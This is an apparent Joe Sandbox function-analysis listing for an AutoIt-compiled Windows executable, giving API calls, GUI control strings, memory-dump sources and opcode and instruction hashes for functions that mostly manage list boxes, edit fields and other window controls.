Instruction ID: 5037eca0a46f96c2c3803694265470a295f07de4dedf263e0600dbee93b1d83b
Opcode Fuzzy Hash: d59556741f73f8bbf0aa77bc5bcd6c8ddbc508b6d0f51df0e903d759b9397827
Instruction Fuzzy Hash: B531D032A04606AFDB118F38DC51BEA77AAEB49324F244726F875923E0E730E9518B50

Function 006D7A71 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 006D7B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 006D7B76

Strings

', xrefs: 006D7ACA
hW, xrefs: 006D7B19

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: '$hW
API String ID: 3850602802-2162195968
Opcode ID: aee0abc84378146ca6e7c1c6a81b61ec3920a51054eda9720582cc9de8506ec2
Instruction ID: f92fe881d95ea2eebca75f8ff308ace681877eebf86fe8ec84ff4f1a4c70fcda
Opcode Fuzzy Hash: aee0abc84378146ca6e7c1c6a81b61ec3920a51054eda9720582cc9de8506ec2
Instruction Fuzzy Hash: 12410874E0520A9FDB14CF68C881BEABBB6FB09304F14416AED04EB391E771A951CF91

Function 006D73D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 006D7461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 006D7475
SendMessageW.USER32(?,00001002,00000000,?), ref: 006D7499

Strings

SysMonthCal32, xrefs: 006D742C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: c2ceaabf538f55617618c63c6f827da9d6cecef28d09841353aa39ec96897993
Instruction ID: 9ae628f4f71000a580f8473aea2c160ee10d273326ade88da7a588ae01f0dc54
Opcode Fuzzy Hash: c2ceaabf538f55617618c63c6f827da9d6cecef28d09841353aa39ec96897993
Instruction Fuzzy Hash: 9A21A332900218AFDF128F54CC46FEA3BBAEF48724F110215FE156B2D0DA75AC51DBA0

Function 006D6CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 006D6D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 006D6D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 006D6D70

Strings

Listbox, xrefs: 006D6D08

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 341f464a471a58f8e549c429eb5e069be0c90ae3f020f55d21681b0eb70a2079
Instruction ID: d936b4a64e16a4e671c368644ce580e9c27234af1bfea584e16573186a036daf
Opcode Fuzzy Hash: 341f464a471a58f8e549c429eb5e069be0c90ae3f020f55d21681b0eb70a2079
Instruction Fuzzy Hash: 36218032A11118BFDF118F54DC45EEB3BBBEF89750F018129F9459B2A0C6719C518BA0

Function 006C39E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 006C3A66

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Strings

, $, xrefs: 006C3AA6
AUTOITCALLVARIABLE%d, xrefs: 006C3A58
%n, xrefs: 006C39F4

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%n
API String ID: 3506404897-2057154807
Opcode ID: e67b82cd4e6ba4cec71f4a701668890631f793173b18314180825a3dc70259f7
Instruction ID: b5b97848575e554120e08e7dc2ee383c1d4fc5c0983ec6d92d5114f9570fbcc5
Opcode Fuzzy Hash: e67b82cd4e6ba4cec71f4a701668890631f793173b18314180825a3dc70259f7
Instruction Fuzzy Hash: 2A217171600219AFCF50EFA4DC82EAE77B6EF44700F50449DF845AB281DB34EA55CBA9

Function 006A8C4B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 006A8C6D
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 006A8C84
SendMessageW.USER32(?,0000000D,?,00000000), ref: 006A8CBC

Strings

@U=u, xrefs: 006A8CBC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: dccdea112807ec691a0b380ad5e1b66c4b97734bf1e64cb6e5e555e437add72c
Instruction ID: 7d08d728bae757f96a5b2db9333f7b31bd03038db65d9eb95db3231c808b4058
Opcode Fuzzy Hash: dccdea112807ec691a0b380ad5e1b66c4b97734bf1e64cb6e5e555e437add72c
Instruction Fuzzy Hash: B321A432601219BFDF10EBA8D841DAFB7BEEF45350F10445AE506E3250DA71AD448FA4

Function 006D96F3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

@U=u, xrefs: 006D9778, 006D97A1
hW, xrefs: 006D971B

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: @U=u$hW
API String ID: 0-4076565667
Opcode ID: aef5977a375ff3231726c27b2df2720ec0904adc0daefd6cfa3fea3a8f382052
Instruction ID: 525877593b2e11f59c8a1a1f3577e51d3deb50273d15d6296e649619a96fe2a8
Opcode Fuzzy Hash: aef5977a375ff3231726c27b2df2720ec0904adc0daefd6cfa3fea3a8f382052
Instruction Fuzzy Hash: 7C216D35924108BFEB148F58CC45FFA37A6EB0A310F404166FA16DA3E0D671EA51DB70

Function 006D770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 006D7772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 006D7787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 006D7794

Strings

msctls_trackbar32, xrefs: 006D7749

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: de41ede2ff7b33ae71e0a79ecc3dd0a907c7359c877b972cb1ce4d710ce7bea6
Instruction ID: 7037381f22836724763f84e89ffceee957f7dfd90d543b84b7a72ef464621bf8
Opcode Fuzzy Hash: de41ede2ff7b33ae71e0a79ecc3dd0a907c7359c877b972cb1ce4d710ce7bea6
Instruction Fuzzy Hash: DC113A72600208BFEF105F64CC01FDB37AAEF89B54F01461DFA45962D0D271E811CB10

Function 006D6920 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 006D69A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 006D69B1

Strings

@U=u, xrefs: 006D69B1
edit, xrefs: 006D6986

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: @U=u$edit
API String ID: 2978978980-590756393
Opcode ID: b1e969a331284a707e4dfec6e046bb29700fd2b1325fa65860e63e471207d262
Instruction ID: 5fd9b023ca316a4249afa09cd0ef327a6759287b58bd30a5ecfc0e57dfdb457a
Opcode Fuzzy Hash: b1e969a331284a707e4dfec6e046bb29700fd2b1325fa65860e63e471207d262
Instruction Fuzzy Hash: 52119D71900109ABEB108F64DC50AEB376AEB05374F504726F9A59A3E0C731DC519760

Function 006D84E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 006D8530

Strings

@U=u, xrefs: 006D8530, 006D856C
hW, xrefs: 006D8509

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend
String ID: @U=u$hW
API String ID: 3850602802-4076565667
Opcode ID: 1796a525cd72ca4b77d621811496d92f7e922448ee9a49a94b3cc376ef6b49f5
Instruction ID: 2f8540f2ec66b39dbf799d7b2aa9db7cc723828bd9bbfc95a5da5ad1b9b36736
Opcode Fuzzy Hash: 1796a525cd72ca4b77d621811496d92f7e922448ee9a49a94b3cc376ef6b49f5
Instruction Fuzzy Hash: D421B775A0020AEFCB55DF98D845CEA7BB6FB4D350B008199FD06A7360DA31ED61DB90

Function 0066092D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00653C14,007152F8,?,?,?), ref: 0066096E

Part of subcall function 00657BCC: _memmove.LIBCMT ref: 00657C06

_wcscat.LIBCMT ref: 00694CB7

Strings

p*, xrefs: 0066097A
Sq, xrefs: 006609AE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: p*$Sq
API String ID: 257928180-1855700939
Opcode ID: 16b757c3a7d354d10a60b43ceabac5757bdb0eb5751eefffe469ce7d28a0567c
Instruction ID: 0591fa55da7321ef42a19693ff1751a97a25ad6eaeb275c2fc94cb46f4c8abea
Opcode Fuzzy Hash: 16b757c3a7d354d10a60b43ceabac5757bdb0eb5751eefffe469ce7d28a0567c
Instruction Fuzzy Hash: B811A5309052099B9B84FB64D805EDE73BBEF08355F0055BAF959D7281EAB097884714

Function 006A8E05 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006AAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006AAABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 006A8E73

Strings

@U=u, xrefs: 006A8E73
ComboBox, xrefs: 006A8E12
ListBox, xrefs: 006A8E3D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 372448540-2258501812
Opcode ID: e0482e4cdbde187eaf4f3ebe4bd87aaee1953149801f8311fbe078625f1ce5e5
Instruction ID: bd5632f11881bdee93cb34ef10b16f59cef8c6feade0f0512178e3dc5c0736fd
Opcode Fuzzy Hash: e0482e4cdbde187eaf4f3ebe4bd87aaee1953149801f8311fbe078625f1ce5e5
Instruction Fuzzy Hash: AB019EB1A01219EBCB14BBA4CC558FE77AABF06320F144A1ABC22572E1DE365C0CCA50

Function 006A8CFD Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006AAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006AAABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 006A8D6B

Strings

@U=u, xrefs: 006A8D6B
ComboBox, xrefs: 006A8D0A
ListBox, xrefs: 006A8D35

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 372448540-2258501812
Opcode ID: 855b9b3dc684a7e9301a7071bb2465fe9cb6dc2ab554b1af278cd8be7997bd28
Instruction ID: bfea7bdda8899dbcf37a840a868b628c2086b26670f32dc83e09d82503390256
Opcode Fuzzy Hash: 855b9b3dc684a7e9301a7071bb2465fe9cb6dc2ab554b1af278cd8be7997bd28
Instruction Fuzzy Hash: 1501F2B1A41109ABCB14FBE0C956EFEB3AADF16300F10412EBC02672E1DE255E0CDA75

Function 006A8D82 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006AAA99: GetClassNameW.USER32(?,?,000000FF), ref: 006AAABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 006A8DEE

Strings

@U=u, xrefs: 006A8DEE
ComboBox, xrefs: 006A8D8F
ListBox, xrefs: 006A8DBA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 372448540-2258501812
Opcode ID: 086a3fbe9db39a7edcb6ab986dbcb9c57280129137eab59d8d7255333dca990b
Instruction ID: 7ce4a200f1ac9a10a06fe80ee7b66dfcc726fd4b87d9a1f214ea25873620fdf7
Opcode Fuzzy Hash: 086a3fbe9db39a7edcb6ab986dbcb9c57280129137eab59d8d7255333dca990b
Instruction Fuzzy Hash: 2801F7B1A41109ABCB14F7A4C956AFE77AA8F12300F10411ABC02672D2DE155E0CD675

Function 006DC57D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

DefDlgProcW.USER32(?,0000002B,?,?,?,?,?,?,?,0068B93A,?,?,?), ref: 006DC5F1

Part of subcall function 006525DB: GetWindowLongW.USER32(?,000000EB), ref: 006525EC

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 006DC5D7

Strings

@U=u, xrefs: 006DC5D7
hW, xrefs: 006DC5B6

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LongWindow$MessageProcSend
String ID: @U=u$hW
API String ID: 982171247-4076565667
Opcode ID: 0619542d446a66e7a63c186c57cd1230e8803f151d4559d869ebf622a6d165ea
Instruction ID: 607dc3b82ca3e0d76aadd8519962b76d893d9aea12025b80d55110ce97d66031
Opcode Fuzzy Hash: 0619542d446a66e7a63c186c57cd1230e8803f151d4559d869ebf622a6d165ea
Instruction Fuzzy Hash: 4401B531601209EFCB255F18EC54EAA3BA7FB85370F14452AF9511B3E0CB31A952DB50

Function 00676B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00676B93
__calloc_crt.LIBCMT ref: 00676BAC

Strings

p, xrefs: 00676BD1
@Bq, xrefs: 00676BC3

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: __calloc_crt
String ID: p$@Bq
API String ID: 3494438863-221554537
Opcode ID: 9a500c5f9e0186919670cef9017091fc60a6e1ac7297aed73ffb4e86fe61441d
Instruction ID: 014c3aacf6b0450a426583a4fb6705b477c260fde9ab026f08c1bbdeb58fb4be
Opcode Fuzzy Hash: 9a500c5f9e0186919670cef9017091fc60a6e1ac7297aed73ffb4e86fe61441d
Instruction Fuzzy Hash: 69F044B2244E12CBE76C8F58FC51AD62796F781B30B60C52AF109CF2D0EB78885146D8

Function 00666063 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0066603A: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00666051

SendMessageW.USER32(?,0000000C,00000000,?), ref: 0066607F
GetParent.USER32(?), ref: 006A0D46
InvalidateRect.USER32(00000000,?,00663A4F,?,00000000,00000001), ref: 006A0D4D

Strings

@U=u, xrefs: 0066607F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$InvalidateParentRectTimeout
String ID: @U=u
API String ID: 3648793173-2594219639
Opcode ID: ccbef7547462ded884948fe8cfa57825824dd7a1b13b3d613255ec2804d3a5a2
Instruction ID: 3117717f12675e8f56f4991c06552c5e4420029dbdba0c8c6bd7748932b0f486
Opcode Fuzzy Hash: ccbef7547462ded884948fe8cfa57825824dd7a1b13b3d613255ec2804d3a5a2
Instruction Fuzzy Hash: FEF0E531500240FBFF202F70EC09FA57B5BAF06348F246439F5419A1B1C6B3AC41AB50

Function 00654C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00654B83,?), ref: 00654C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00654C56

Strings

kernel32.dll, xrefs: 00654C3F
Wow64RevertWow64FsRedirection, xrefs: 00654C50

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: cbcd041488d466807224a554d5ad34ddb02e54781602999a9b46cd8a9e28584a
Instruction ID: 5999dada7165dd8d5a30a4f59c53c7f94a5319fdd8962f979b86ac5d4138dce1
Opcode Fuzzy Hash: cbcd041488d466807224a554d5ad34ddb02e54781602999a9b46cd8a9e28584a
Instruction Fuzzy Hash: F7D0C730901713CFC7208F31CC0868A73E6AF00346F21883B98A2C62A8EBB0C8C0CA10

Function 00654C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00654BD0,?,00654DEF,?,007152F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00654C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00654C23

Strings

kernel32.dll, xrefs: 00654C0C
Wow64DisableWow64FsRedirection, xrefs: 00654C1D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AddressLibraryLoadProc
